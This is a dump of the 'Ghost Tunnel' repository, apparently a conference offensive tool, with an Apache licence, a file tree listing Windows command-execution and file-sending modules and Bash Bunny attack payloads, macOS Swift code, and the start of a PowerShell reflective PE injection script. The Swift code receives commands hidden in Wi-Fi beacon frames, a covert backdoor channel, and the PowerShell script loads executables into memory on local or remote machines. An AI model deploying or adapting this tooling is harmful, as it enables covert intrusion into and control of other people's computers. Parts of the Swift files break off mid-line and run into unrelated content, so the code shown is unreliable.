├── 2018_HITB_Ghost_Tunnel.pdf ├── Ghost Tunnel.pptx ├── LICENSE ├── Mac └── main.swift ├── MacDemo ├── hostapd.conf └── main.swift ├── README.md ├── Windows ├── Action_ExcuteCmd.cpp ├── Action_ExcuteCmd.h ├── Action_Sendfile.cpp ├── Action_Sendfile.h ├── Release │ └── ghostTunnel32.exe ├── Request_Normal.cpp ├── Request_Normal.h ├── main.cpp ├── mainProcess.cpp ├── mainProcess.h └── stdafx.h ├── bashbunny attack ├── README.md ├── ghost attack v1 │ ├── MemoryRun.ps1 │ └── payload.txt └── ghost attack v2 │ ├── Run.ps1 │ └── payload.txt ├── hostapd ├── hostapd.conf └── hostapd.py └── scapy_ghost.py /2018_HITB_Ghost_Tunnel.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BaiZhanJi0x0/GhostTunnel/cbdd88ae3dfe51fa4c71abb01c00fd06043f159a/2018_HITB_Ghost_Tunnel.pdf -------------------------------------------------------------------------------- /Ghost Tunnel.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BaiZhanJi0x0/GhostTunnel/cbdd88ae3dfe51fa4c71abb01c00fd06043f159a/Ghost Tunnel.pptx -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Mac/main.swift: -------------------------------------------------------------------------------- 1 | // 2 | // main.swift 3 | // gt 4 | // 5 | // Created by JcQ~ on 2018/5/24. 6 | // Copyright © 2018 金灿权. All rights reserved. 7 | // 8 | 9 | import Foundation 10 | import CoreWLAN 11 | 12 | func changeToInt(num:String) -> Character { 13 | let str = num.uppercased() 14 | 15 | var sum = 0 16 | 17 | for i in str.utf8 { 18 | 19 | sum = sum * 16 + Int(i) - 48 // 0-9 从48开始 20 | 21 | if i >= 65 { 22 | sum -= 7 23 | } 24 | } 25 | let ch:Character=Character(UnicodeScalar(sum)!) 26 | return ch 27 | } 28 | 29 | extension String { 30 | //返回第一次出现的指定子字符串在此字符串中的索引 31 | //(如果backwards参数设置为true,则返回最后出现的位置) 32 | func positionOf(sub:String, backwards:Bool = false)->Int { 33 | var pos = -1 34 | if let range = range(of:sub, options: backwards ? .backwards : .literal ) { 35 | if !range.isEmpty { 36 | pos = self.distance(from:startIndex, to:range.lowerBound) 37 | } 38 | } 39 | return pos 40 | } 41 | } 42 | 43 | func hexToStr(str:String)-> String{ 44 | var c_str:[Character]=[] 45 | var tmp:[Character]=[] 46 | for c in str{ 47 | tmp.append(c) 48 | if tmp.count == 2{ 49 | let c = changeToInt(num: String(tmp)) 50 | c_str.append(c) 51 | tmp.removeAll() 52 | } 53 | } 54 | return String(c_str) 55 | } 56 | 57 | func hexTodec(number num:String) -> Int { 58 | let str = num.uppercased() 59 | var sum = 0 60 | for i in str.utf8 { 61 | sum = sum * 16 + Int(i) - 48 // 0-9 从48开始 62 | if i >= 65 { // A-Z 从65开始,但有初始值10,所以应该是减去55 63 | sum -= 7 64 | } 65 | } 66 | return sum 67 | } 68 | 69 | 70 | 71 | var raw_data="" 72 | var client=CWWiFiClient() 73 | var itf=client?.interface() 74 | var ssid="ghost" 75 | while 1==1{ 76 | print(ssid) 77 | 78 | var test=CWNetwork() 79 | print("try") 80 | try 81 | itf?.scanForNetworks(withName: nil) 82 | print("cache") 83 | let cache=itf?.cachedScanResults() 84 | print("cachefor") 85 | for i in cache!{ 86 | var ss="" 87 | for k in i.ssid!{ 88 | 89 | ss=ss+String(k) 90 | } 91 | print(ss) 92 | // print(i.ssid) 93 | test=i 94 | } 95 | //查看是否有目标ssid的帧 96 | if(test.ssid==nil){ 97 | continue 98 | }else{ 99 | if(test.ssid==ssid){ 100 | print("yes") 101 | exit(0) 102 | //对接收到的帧进行数据整合 103 | let da=test.informationElementData 104 | for i in da!{ 105 | let hex=String(format:"%02x",i) 106 | raw_data=raw_data+hex 107 | } 108 | //查询是否为目标帧 109 | //raw_data="dd196161616161636363616f69646675616466706f61696466706f" 110 | let flag=raw_data.range(of: "636363") 111 | if(flag==nil){ 112 | // print("cant find ") 113 | //continue 114 | }else{ 115 | //获取magic字段位置 116 | let shell_pos=raw_data.positionOf(sub: "636363") 117 | //获取payload长度 118 | let payload_length_start_index=raw_data.index(raw_data.startIndex,offsetBy:shell_pos-12) 119 | let payload_length_end_index=raw_data.index(raw_data.startIndex,offsetBy:shell_pos-10) 120 | let payload_length=hexTodec(number:String(raw_data[payload_length_start_index.. Character { 13 | let str = num.uppercased() 14 | 15 | var sum = 0 16 | 17 | for i in str.utf8 { 18 | 19 | sum = sum * 16 + Int(i) - 48 // 0-9 从48开始 20 | 21 | if i >= 65 { 22 | sum -= 7 23 | } 24 | } 25 | let ch:Character=Character(UnicodeScalar(sum)!) 26 | return ch 27 | } 28 | 29 | extension String { 30 | //返回第一次出现的指定子字符串在此字符串中的索引 31 | //(如果backwards参数设置为true,则返回最后出现的位置) 32 | func positionOf(sub:String, backwards:Bool = false)->Int { 33 | var pos = -1 34 | if let range = range(of:sub, options: backwards ? .backwards : .literal ) { 35 | if !range.isEmpty { 36 | pos = self.distance(from:startIndex, to:range.lowerBound) 37 | } 38 | } 39 | return pos 40 | } 41 | } 42 | 43 | func hexToStr(str:String)-> String{ 44 | var c_str:[Character]=[] 45 | var tmp:[Character]=[] 46 | for c in str{ 47 | tmp.append(c) 48 | if tmp.count == 2{ 49 | let c = changeToInt(num: String(tmp)) 50 | c_str.append(c) 51 | tmp.removeAll() 52 | } 53 | } 54 | return String(c_str) 55 | } 56 | 57 | func hexTodec(number num:String) -> Int { 58 | let str = num.uppercased() 59 | var sum = 0 60 | for i in str.utf8 { 61 | sum = sum * 16 + Int(i) - 48 // 0-9 从48开始 62 | if i >= 65 { // A-Z 从65开始,但有初始值10,所以应该是减去55 63 | sum -= 7 64 | } 65 | } 66 | return sum 67 | } 68 | 69 | var client=CWWiFiClient() 70 | var itf=client?.interface() 71 | var raw_data="" 72 | var test=CWNetwork() 73 | var prefix_shell=0 74 | while 1==1{ 75 | try 76 | itf?.scanForNetworks(withName: "helle") 77 | let cache=itf?.cachedScanResults() 78 | 79 | for i in cache!{ 80 | test=i 81 | } 82 | //查看是否有目标ssid的帧 83 | if(test.ssid==nil){ 84 | // print("cant find ") 85 | continue 86 | }else{ 87 | //对接收到的帧进行数据整合 88 | let da=test.informationElementData 89 | for i in da!{ 90 | let hex=String(format:"%02x",i) 91 | raw_data=raw_data+hex 92 | } 93 | //查询是否为目标帧 94 | let flag=raw_data.range(of: "636363") 95 | if(flag==nil){ 96 | // print("cant find ") 97 | continue 98 | }else{ 99 | //获取magic字段位置 100 | // print("find") 101 | let shell_pos=raw_data.positionOf(sub: "636363") 102 | //获取shell长度(负号) 103 | let sub_length = 0 - raw_data.characters.count + shell_pos + 8 104 | //判断shell是否为同一条 105 | let shell_pre_start_index=raw_data.index(raw_data.endIndex,offsetBy:sub_length-10) 106 | let shell_pre_end_index=raw_data.index(raw_data.endIndex,offsetBy:sub_length-8) 107 | // print(raw_data) 108 | // print(String(raw_data[shell_pre_start_index.. 166 | 167 | [CmdletBinding()] 168 | Param( 169 | [Parameter(Position = 0, Mandatory = $true)] 170 | [ValidateNotNullOrEmpty()] 171 | [Byte[]] 172 | $PEBytes, 173 | 174 | [Parameter(Position = 1)] 175 | [String[]] 176 | $ComputerName, 177 | 178 | [Parameter(Position = 2)] 179 | [ValidateSet( 'WString', 'String', 'Void' )] 180 | [String] 181 | $FuncReturnType = 'Void', 182 | 183 | [Parameter(Position = 3)] 184 | [String] 185 | $ExeArgs, 186 | 187 | [Parameter(Position = 4)] 188 | [Int32] 189 | $ProcId, 190 | 191 | [Parameter(Position = 5)] 192 | [String] 193 | $ProcName, 194 | 195 | [Switch] 196 | $ForceASLR, 197 | 198 | [Switch] 199 | $DoNotZeroMZ 200 | ) 201 | 202 | Set-StrictMode -Version 2 203 | 204 | 205 | $RemoteScriptBlock = { 206 | [CmdletBinding()] 207 | Param( 208 | [Parameter(Position = 0, Mandatory = $true)] 209 | [Byte[]] 210 | $PEBytes, 211 | 212 | [Parameter(Position = 1, Mandatory = $true)] 213 | [String] 214 | $FuncReturnType, 215 | 216 | [Parameter(Position = 2, Mandatory = $true)] 217 | [Int32] 218 | $ProcId, 219 | 220 | [Parameter(Position = 3, Mandatory = $true)] 221 | [String] 222 | $ProcName, 223 | 224 | [Parameter(Position = 4, Mandatory = $true)] 225 | [Bool] 226 | $ForceASLR 227 | ) 228 | 229 | ################################### 230 | ########## Win32 Stuff ########## 231 | ################################### 232 | Function Get-Win32Types 233 | { 234 | $Win32Types = New-Object System.Object 235 | 236 | #Define all the structures/enums that will be used 237 | # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html 238 | $Domain = [AppDomain]::CurrentDomain 239 | $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') 240 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 241 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) 242 | $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 243 | 244 | 245 | ############ ENUM ############ 246 | #Enum MachineType 247 | $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) 248 | $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null 249 | $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null 250 | $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null 251 | $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null 252 | $MachineType = $TypeBuilder.CreateType() 253 | $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType 254 | 255 | #Enum MagicType 256 | $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) 257 | $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null 258 | $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null 259 | $MagicType = $TypeBuilder.CreateType() 260 | $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType 261 | 262 | #Enum SubSystemType 263 | $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) 264 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null 265 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null 266 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null 267 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null 268 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null 269 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null 270 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null 271 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null 272 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null 273 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null 274 | $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null 275 | $SubSystemType = $TypeBuilder.CreateType() 276 | $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType 277 | 278 | #Enum DllCharacteristicsType 279 | $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) 280 | $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null 281 | $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null 282 | $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null 283 | $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null 284 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null 285 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null 286 | $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null 287 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null 288 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null 289 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null 290 | $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null 291 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null 292 | $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null 293 | $DllCharacteristicsType = $TypeBuilder.CreateType() 294 | $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType 295 | 296 | ########### STRUCT ########### 297 | #Struct IMAGE_DATA_DIRECTORY 298 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' 299 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) 300 | ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null 301 | ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null 302 | $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() 303 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY 304 | 305 | #Struct IMAGE_FILE_HEADER 306 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 307 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) 308 | $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null 309 | $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null 310 | $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null 311 | $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null 312 | $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null 313 | $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null 314 | $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null 315 | $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() 316 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER 317 | 318 | #Struct IMAGE_OPTIONAL_HEADER64 319 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' 320 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) 321 | ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null 322 | ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null 323 | ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null 324 | ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null 325 | ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null 326 | ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null 327 | ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null 328 | ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null 329 | ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null 330 | ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null 331 | ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null 332 | ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null 333 | ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null 334 | ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null 335 | ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null 336 | ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null 337 | ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null 338 | ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null 339 | ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null 340 | ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null 341 | ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null 342 | ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null 343 | ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null 344 | ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null 345 | ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null 346 | ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null 347 | ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null 348 | ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null 349 | ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null 350 | ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null 351 | ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null 352 | ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null 353 | ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null 354 | ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null 355 | ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null 356 | ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null 357 | ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null 358 | ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null 359 | ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null 360 | ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null 361 | ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null 362 | ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null 363 | ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null 364 | ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null 365 | ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null 366 | $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() 367 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 368 | 369 | #Struct IMAGE_OPTIONAL_HEADER32 370 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' 371 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) 372 | ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null 373 | 